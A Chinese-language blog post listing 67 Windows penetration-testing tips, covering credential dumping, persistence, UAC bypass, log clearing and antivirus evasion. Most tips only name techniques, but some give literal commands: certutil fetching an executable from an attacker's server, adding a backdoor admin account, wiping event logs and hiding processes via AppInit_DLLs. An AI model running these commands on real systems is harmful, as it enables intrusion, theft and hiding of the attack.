跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PowerShell

渗透测试实战技巧总结:67 条常用命令与绕过方法

总结了渗透测试实战中的 67 条关键技巧,涵盖端口探测、凭证获取、权限提升、持久化维持、UAC 绕过及远程管理等核心领域。内容涉及 Windows 系统命令、PowerShell 脚本、注册表操作及多种白名单绕过方法。文章详细列出了具体命令示例与原理说明,旨在帮助安全从业人员掌握攻防技术细节,同时强调所有操作需在授权范围内进行,确保合规性。

黑客发布于 2025/2/6更新于 2026/9/351 浏览
渗透测试实战技巧总结:67 条常用命令与绕过方法

渗透测试实战技巧总结

前言

本文汇总了渗透测试过程中常用的 67 条技术技巧,涵盖端口探测、权限提升、持久化维持、凭证获取及防御绕过等多个维度。这些内容主要用于安全评估、红队演练及防御体系建设。请注意,所有技术仅应在获得明确授权的系统上进行测试,未经授权的使用属于违法行为。

一、信息收集与端口探测

Tips 1. 手动端口探测

nmap 的 -sV 参数可以探测服务版本,但在某些特定场景下需要手动验证。使用 Wireshark 抓包可能过于复杂,可通过 nc (netcat) 简单判断。 例如连接 8001 端口并输入字符串,若返回 HTTP/1.1 400 Bad Request,则说明是 HTTP 服务,且可从响应头中获取服务器版本(如 Apache/2.4.23)和操作系统信息(如 Debian)。

Tips 2. Windows 系统从 Kali 下载文件

在渗透测试中,经常需要在 Kali Linux 上搭建简易 Web 服务器,供目标 Windows 机器拉取工具。 Kali 端启动服务:

python -m SimpleHTTPServer 80

Windows 端使用 certutil 下载:

certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete

此方法利用了 Windows 内置工具,无需额外安装软件。

Tips 3. 配置工作组计算机支持 net use 远程连接

默认情况下,工作组环境下的本地账户远程连接可能受限。需添加用户并修改注册表策略。 添加管理员用户:

net user test test /add
net localgroup administrators test /add

修改注册表以允许远程令牌过滤策略:

reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1

随后即可使用 net use 进行连接。

Tips 4. Windows 日志清除

攻击后清理痕迹是常见需求。wevtutil 是管理 Windows 事件日志的强大工具。 列出日志分类:wevtutil el >1.txt 查看统计信息:wevtutil gli "windows powershell" 删除指定日志类别:wevtutil cl "windows powershell" 注意:部分高级防护软件会监控日志删除行为。

Tips 5. 破坏 Windows 日志记录功能

通过调用 TerminateThread 结束 Event Log 服务的线程,可使日志记录失效,但服务状态仍显示为运行中。 相关开源项目包括 Invoke-Phant0m 和 Windwos-EventLog-Bypass。

二、进程管理与隐藏

Tips 6. Win7 和 Windows Server 2008 R2 下的进程隐藏

利用 globalAPIhooks 修改注册表实现进程隐藏。需编译 DLL 并放置于特定目录(如 ProgramData),然后加载 AppInit_DLLs。 注册表配置示例:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldr.dll" /f

此时任务管理器、Process Explorer 等工具将无法看到该进程。

Tips 7. 同名 exe 和 com 文件执行顺序

在命令行中,如果路径下存在同名的 exe 和 com 文件(如 test.exe 和 test.com),直接输入 test 将优先执行 com 文件。COM 文件本质上是可重定向的 EXE 文件。

Tips 8. Windows 系统证书生成与注册

通过 makecert 和 signtool 生成自签名证书并对程序签名,可绕过部分 UAC 限制。 流程包括生成 Root.cer、Root.pfx 等文件,并使用 certmgr 注册到本地机器根证书存储。

Tips 9. hta 执行 vbs,加载 powershell

HTA (HTML Application) 文件可包含 VBScript 或 JavaScript,常用于执行 PowerShell 命令。 示例代码展示了如何通过 HTA 调用 WshShell.Run 执行隐藏的 PowerShell 脚本。

Tips 10. 通过 c# 编写 dll & 通过 rundll32.exe 或者 regsvr32 加载 dll

C# 默认不导出函数,需使用 UnmanagedExports 特性。生成的 DLL 可在对应 .NET 环境下运行。通过 rundll32 或 regsvr32 加载 DLL 时,必须包含特定的导出函数入口点。

Tips 11. Windows 下 cpl 文件介绍

CPL 文件本质是控制面板小程序,实为 DLL。可通过双击、rundll32 shell32.dll,Control_RunDLL 或 control 命令执行。也可通过 VBS/JS 调用 Shell.Application 对象加载。

Tips 12. Windows 下通过 cmd 调用 rundll32 执行一段代码弹回 Shell

利用 javascript: 协议配合 mshtml 组件,可执行 ActiveXObject 代码。此方法可用于构建后门,通过 WinHttp.WinHttpRequest 建立连接并执行远程代码。

Tips 13. 可通过内存 dump 还原出 putty&pageant 的密钥

对运行中的 Putty 或 Pageant 进程进行内存转储,可直接提取 SSH 密钥和密码。适用于 Windows 和 Linux 环境。

Tips 14. 针对 Visual Studio 的钓鱼利用

修改 .vcxproj、.vbproj 或 .fsproj 工程文件,可在编译阶段注入任意代码执行。这提示开发者需警惕第三方依赖库的安全性。

Tips 15. 32 位程序在 64 位 Windows 系统下执行的时候,如果有对注册表和文件的操作,存在重定向

32 位程序访问 HKLM\Software 会被重定向到 Wow6432Node。访问 System32 目录也会被重定向到 SysWOW64。了解此机制有助于正确定位配置文件。

三、凭证获取与域渗透

Tips 16. 获取 Windows 域控所有用户 hash

方法一:复制 ntds.dit 文件,使用 esentutl 和 QuarksPwDump 导出。 方法二:使用 DSInternals PowerShell Module 模块,适用于较新版本的 PowerShell。

Tips 17. 导出 Windows 系统明文口令

Windows Server 2012 默认禁用明文密码缓存。需启用 Wdigest Auth 策略(UseLogonCredential = 1),重启或重新登录后即可通过 Mimikatz 导出。

Tips 18. 可通过 Hook PasswordChangeNotify 实时记录域控管理员的新密码

通过 Hook API 拦截密码变更通知,可实时捕获新密码并上传至控制端。

Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号

若域内主机使用相同的本地管理员账号和密码,可利用 Pass-the-Hash 横向移动登录其他主机。

Tips 20. 通过 powershell 获取 dll 的导出函数

使用 Get-Exports 脚本可分析 DLL 导出的函数列表,辅助寻找可被调用的入口点。

四、持久化与权限维持

Tips 21. 快捷方式的参数隐藏技巧

将 Payload 放置在快捷方式参数后的 260 个空字符之后,可避免在属性中直接查看,用于欺骗用户点击。

Tips 22. 32 位程序能够对 64 位进程进行远程注入

利用 CreateRemoteThread 等 API,32 位进程可向 64 位进程注入代码,需注意架构兼容性。

Tips 23. system 权限的进程在某些情况下需要进行降权

System 权限可能导致无法访问用户文件或环境变量差异。可使用 SelectMyParent.exe 或 msdtc 进行降权操作。

Tips 24. 通过命令行能够对 Windows 系统安装 WinPcap

在跳板机上安装 WinPcap 后,可运行 nmap 和 Masscan 进行网络扫描。

Tips 25. Windows 平台执行 mimikatz 的方法

有多种白名单绕过方式:

  1. PowerShell 直接执行 Invoke-Mimikatz。
  2. InstallUtil.exe 加载编译好的 PE。
  3. Regsvr32 加载封装的 DLL。
  4. MSBuild 执行 XML 任务。
  5. CSI.exe 执行 C# 脚本。
  6. JS/VBS 脚本加载。

Tips 26. Windows 系统中可供存储和读取 payload 的位置

  1. WMI 类存储。
  2. 数字签名的 PE 文件(利用 Hash 缺陷)。
  3. 特殊 ADS (Alternate Data Streams) 或 COM 设备路径。

Tips 27. Windows 系统中值得搜集的信息

已注册的 WMI 信息(__EventFilter, CommandLineEventConsumer)可能包含持久化后门,可通过 wmic 查询。

Tips 28. Windows 系统反弹 meterpreter 的常用方法

  1. Rundll32 加载 DLL。
  2. CPL 文件执行。
  3. PowerShell 脚本执行。

Tips 29. Windows 系统加载 dll 的方法

除 Rundll32 外,还可使用 Regsvr32、Odbcconf、Tracker、Excel.RegisterXLL、Xwizard 等合法工具加载恶意 DLL。

Tips 30. Windows Persistence

多种持久化手段:

  1. Bitsadmin 任务。
  2. MOF 文件注册 WMI 事件。
  3. WMI 订阅器。
  4. 计划任务劫持。
  5. Netsh Helper DLL。
  6. Shim 兼容层。
  7. DLL 劫持。
  8. DoubleAgent (Application Verifier)。
  9. Waitfor.exe。
  10. AppDomainManager。
  11. Office 加载项。
  12. CLR 劫持。
  13. MSDTC 服务。
  14. COM 对象劫持。
  15. Explorer.exe 劫持。
  16. FAX DLL 注入。
  17. Office 功能劫持。
  18. 特殊注册表键值。
  19. PowerShell 配置文件。

五、UAC 绕过与提权

Tips 31. UAC 绕过

  1. Eventvwr.exe + 注册表劫持。
  2. Sdclt.exe (Win10)。
  3. SilentCleanup (Win8/10)。
  4. Wscript.exe (Win7)。
  5. Cmstp.exe。
  6. 环境变量劫持高权限 .Net 程序。
  7. CLSID 劫持。

Tips 32. Visual Studio 生成的 exe 或是 dll 在其他系统使用,提示缺少相关 DLL 文件

解决方法是将程序打包发布,并在项目属性中选择多线程 (/MT) 链接库。

Tips 33. 使用 LaZagne 导出当前系统中常见应用存储的密码

LaZagne 可提取浏览器、Wifi、Git 等应用的密码,支持自定义脚本扩展。

Tips 34. 使用 powershell 读写文件

Get-Content/Set-Content 处理文本,[System.IO.File]::ReadAllBytes/WriteAllBytes 处理二进制。

Tips 35. powershell 作 base64 编码/解码

[System.Convert]::ToBase64String 和 FromBase64String 用于数据编码传输。

Tips 36. 如果 powershell 脚本被查杀,可以尝试使用 Invoke-Obfuscation 进行混淆

通过变量名混淆、编码等方式规避特征检测。

Tips 37. python 脚本转 exe

使用 py2exe 或 PyInstaller 打包,注意处理依赖和 Bug。

Tips 38. 普通用户权限向管理员权限的路径下写文件

利用 makecab 和 wusa 解压功能,可将文件释放到 System32 等受保护目录。

Tips 39. 在远程系统上执行程序的方法汇总

at, psexec, WMIC, wmiexec, smbexec, powershell remoting, DCOM。

Tips 40. 寻找 Windows 系统中可被利用的服务

枚举服务路径,检查是否有普通用户写权限,可尝试替换服务可执行文件提权。

Tips 41. 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行

Logon Scripts 在杀毒软件启动前执行,可配置为持久化手段。

Tips 42. 编译 c# 程序注意事项

项目名需与 namespace 一致,否则生成的 DLL 无法正确加载。使用 csc.exe 时需指定 /out 参数。

Tips 43. 使用 net use 远程连接的端口问题

优先使用 445 端口,若禁用则回退至 139。禁用 NetBIOS over TCP/IP 则无法连接。

Tips 44. 获得 TrustedInstaller 权限

启动 TrustedInstaller 服务,通过 Token 复制(SelectMyParent, Incognito)获取权限。

Tips 45. 3389 远程连接

查询和开启 3389 端口,支持多用户登录(ts::multirdp)。

Tips 46. 使用 netsh 修改远程系统的防火墙规则

需开启远程管理权限,通过 -r 参数指定远程 IP。

Tips 47. 劫持 UAC

修改注册表劫持签名验证功能,在弹出 UAC 框时执行代码。

Tips 48. PE 文件的 Authenticode 签名伪造

通过注册表修改给 PE 文件添加微软证书。

Tips 49. PE 文件的 Catalog 签名伪造

构造 Long UNC 文件名欺骗 Catalog 签名。

Tips 50. mklink

创建符号链接(/D)或联接(/J),用于更改文件释放路径或绕过权限检查。

六、远程管理与数据操作

Tips 51. powershell 在执行脚本时传入参数

使用 -Command 参数传递复杂命令,注意引号转义。

Tips 52. dll 注入方法

APC 注入、Process Hollowing、Process Doppelganging。

Tips 53. 域内默认共享目录

\\SYSVOL\ 包含组策略数据,可尝试还原其中保存的密码。

Tips 54. 你的 TeamViewer 有可能被反控

旧版本 TeamViewer 存在漏洞,连接未知服务器可能被反向控制。

Tips 55. 远程查看域控登录、注销相关的日志

使用 wevtutil 远程查询 Security 日志,筛选事件 ID 4624/4623/4672。

Tips 56. 判断当前系统是否处在待机状态

GetForegroundWindow() 返回值可判断锁屏状态。

Tips 57. 获得当前系统用户无输入的时间

通过 API GetIdleTime 判断用户空闲时间。

Tips 58. 判断当前系统的屏保启动时间

查询注册表 HKEY_CURRENT_USER\Control Panel\Desktop 中的 SCRNSAVE.EXE 和 ScreenSaveTimeOut。

Tips 59. 隐藏指定进程的界面

通过 API ShowWindowAsync 改变窗口状态,或使用 PowerShell 脚本。

Tips 60. 通过 Powershell 对 Windows 系统截屏

使用 Take-ScreenShot.ps1 脚本实现。

Tips 61. 查看当前 Windows 系统已安装的程序

枚举注册表 Uninstall 键值,注意 64 位系统的 Wow6432Node 路径。

Tips 62. 通过 wmi 获得当前系统的类型

wmic 查询 Win32_ComputerSystem 获取 PCSystemType。

Tips 63. 导出 Chrome 浏览器保存的密码

在线获取需解密数据库文件;离线获取需 Master Key。

Tips 64. 通过 ShadowCopy 获得系统的历史文件

使用 vssadmin 查询快照,mklink 挂载访问历史文件。

Tips 65. 命令行执行多条命令的方法

&& (成功继续), || (失败继续), & (并行)。

Tips 66. 通过 powershell 发送邮件 (包含附件)

使用 System.Net.Mail 类发送带附件邮件。

Tips 67. 通过 powershell 读取注册表获得所有用户的远程桌面连接历史记录

使用 reg load 加载未登录用户的配置单元读取注册表。

结语

以上技巧涵盖了渗透测试的核心环节。在实际工作中,请务必遵守法律法规,仅在授权范围内使用。建议结合自动化扫描工具与人工审计,构建更完善的安全防御体系。

目录

  1. 渗透测试实战技巧总结
  2. 前言
  3. 一、信息收集与端口探测
  4. Tips 1. 手动端口探测
  5. Tips 2. Windows 系统从 Kali 下载文件
  6. Tips 3. 配置工作组计算机支持 net use 远程连接
  7. Tips 4. Windows 日志清除
  8. Tips 5. 破坏 Windows 日志记录功能
  9. 二、进程管理与隐藏
  10. Tips 6. Win7 和 Windows Server 2008 R2 下的进程隐藏
  11. Tips 7. 同名 exe 和 com 文件执行顺序
  12. Tips 8. Windows 系统证书生成与注册
  13. Tips 9. hta 执行 vbs,加载 powershell
  14. Tips 10. 通过 c# 编写 dll & 通过 rundll32.exe 或者 regsvr32 加载 dll
  15. Tips 11. Windows 下 cpl 文件介绍
  16. Tips 12. Windows 下通过 cmd 调用 rundll32 执行一段代码弹回 Shell
  17. Tips 13. 可通过内存 dump 还原出 putty&pageant 的密钥
  18. Tips 14. 针对 Visual Studio 的钓鱼利用
  19. Tips 15. 32 位程序在 64 位 Windows 系统下执行的时候,如果有对注册表和文件的操作,存在重定向
  20. 三、凭证获取与域渗透
  21. Tips 16. 获取 Windows 域控所有用户 hash
  22. Tips 17. 导出 Windows 系统明文口令
  23. Tips 18. 可通过 Hook PasswordChangeNotify 实时记录域控管理员的新密码
  24. Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号
  25. Tips 20. 通过 powershell 获取 dll 的导出函数
  26. 四、持久化与权限维持
  27. Tips 21. 快捷方式的参数隐藏技巧
  28. Tips 22. 32 位程序能够对 64 位进程进行远程注入
  29. Tips 23. system 权限的进程在某些情况下需要进行降权
  30. Tips 24. 通过命令行能够对 Windows 系统安装 WinPcap
  31. Tips 25. Windows 平台执行 mimikatz 的方法
  32. Tips 26. Windows 系统中可供存储和读取 payload 的位置
  33. Tips 27. Windows 系统中值得搜集的信息
  34. Tips 28. Windows 系统反弹 meterpreter 的常用方法
  35. Tips 29. Windows 系统加载 dll 的方法
  36. Tips 30. Windows Persistence
  37. 五、UAC 绕过与提权
  38. Tips 31. UAC 绕过
  39. Tips 32. Visual Studio 生成的 exe 或是 dll 在其他系统使用,提示缺少相关 DLL 文件
  40. Tips 33. 使用 LaZagne 导出当前系统中常见应用存储的密码
  41. Tips 34. 使用 powershell 读写文件
  42. Tips 35. powershell 作 base64 编码/解码
  43. Tips 36. 如果 powershell 脚本被查杀,可以尝试使用 Invoke-Obfuscation 进行混淆
  44. Tips 37. python 脚本转 exe
  45. Tips 38. 普通用户权限向管理员权限的路径下写文件
  46. Tips 39. 在远程系统上执行程序的方法汇总
  47. Tips 40. 寻找 Windows 系统中可被利用的服务
  48. Tips 41. 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行
  49. Tips 42. 编译 c# 程序注意事项
  50. Tips 43. 使用 net use 远程连接的端口问题
  51. Tips 44. 获得 TrustedInstaller 权限
  52. Tips 45. 3389 远程连接
  53. Tips 46. 使用 netsh 修改远程系统的防火墙规则
  54. Tips 47. 劫持 UAC
  55. Tips 48. PE 文件的 Authenticode 签名伪造
  56. Tips 49. PE 文件的 Catalog 签名伪造
  57. Tips 50. mklink
  58. 六、远程管理与数据操作
  59. Tips 51. powershell 在执行脚本时传入参数
  60. Tips 52. dll 注入方法
  61. Tips 53. 域内默认共享目录
  62. Tips 54. 你的 TeamViewer 有可能被反控
  63. Tips 55. 远程查看域控登录、注销相关的日志
  64. Tips 56. 判断当前系统是否处在待机状态
  65. Tips 57. 获得当前系统用户无输入的时间
  66. Tips 58. 判断当前系统的屏保启动时间
  67. Tips 59. 隐藏指定进程的界面
  68. Tips 60. 通过 Powershell 对 Windows 系统截屏
  69. Tips 61. 查看当前 Windows 系统已安装的程序
  70. Tips 62. 通过 wmi 获得当前系统的类型
  71. Tips 63. 导出 Chrome 浏览器保存的密码
  72. Tips 64. 通过 ShadowCopy 获得系统的历史文件
  73. Tips 65. 命令行执行多条命令的方法
  74. Tips 66. 通过 powershell 发送邮件 (包含附件)
  75. Tips 67. 通过 powershell 读取注册表获得所有用户的远程桌面连接历史记录
  76. 结语

更多推荐文章

查看全部
  • CppCon 2024 学习:C++ 异常在小型固件中的应用
  • 攻防世界 Web 题解:SQL 注入与文件包含漏洞分析
  • 前端文件上传处理最佳实践与优化方案
  • Git 开发分支模型与 Git Flow 详解
  • 计算机基础知识总结:网络、操作系统、数据库、C++ 与算法
  • 从 0 到 1 打造 RISC-V 智能家居中控:硬件 + 固件 + 通信全链路实战
  • Apache IoTDB 跨端边云架构与 DB+AI 融合实践
  • Coze AI 智能体平台工作流基础创建与核心节点实战
  • 开源即时通讯项目 OpenIM 部署流程
  • 大模型狼人杀实验:AI 识破人类伪装,反向图灵测试解析
  • Eino 组件核心:Retriever 在 RAG 中的检索协议与实现
  • PX4 飞控系统入门指南:从零搭建无人机开发环境
  • 基于 Termux 与 Ubuntu 在 Android 手机本地部署 OpenClaw 及 Llama 模型教程
  • 前端 WebSocket 实战:从轮询到实时通信
  • 基于 SSH 加密安全连接远程 OpenClaw 网关的方法
  • Spring Boot ResponseEntity 响应处理与文件下载实战
  • Cursor 中配置与使用 MCP 服务实战
  • 2026 年 3 月全球 AI 前沿动态
  • 前端开发与营销业务中的 AI 应用核心趋势解析
  • Python AI 开发环境搭建:Anaconda + PyCharm + Claude Code 配置教程

相关免费在线工具

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online

  • JSON美化和格式化

    将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online